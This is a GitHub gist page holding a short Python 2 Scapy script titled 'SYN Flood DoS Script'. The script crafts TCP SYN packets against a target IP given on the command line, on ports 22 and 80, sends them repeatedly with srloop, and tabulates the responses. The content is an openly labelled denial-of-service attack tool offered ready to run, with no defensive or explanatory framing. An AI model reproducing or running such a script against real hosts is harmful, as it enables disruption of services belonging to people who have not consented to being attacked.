Skip to content

Instantly share code, notes, and snippets.

@0x9090
Created October 12, 2018 05:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 0x9090/fda7816bfc3523f131859fd585ba64de to your computer and use it in GitHub Desktop.
Save 0x9090/fda7816bfc3523f131859fd585ba64de to your computer and use it in GitHub Desktop.
SYN Flood DoS Script
import sys
from scapy.all import *
print "Field Values of packet sent"
p=IP(dst=sys.argv[1],id=1111,ttl=99)/TCP(sport=RandShort(),dport=[22,80],seq=12345,ack=1000,window=1000,flags="S")/"flooder"
ls(p)
print "Sending Packets in 0.3 second intervals for timeout of 4 sec"
ans,unans=srloop(p,inter=0.3,retry=2,timeout=4)
print "Summary of answered & unanswered packets"
ans.summary()
unans.summary()
print "source port flags in response"
ans.make_table(lambda(s,r): (s.dst, s.dport, r.sprintf("%IP.id% \t %IP.ttl% \t %TCP.flags%")))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment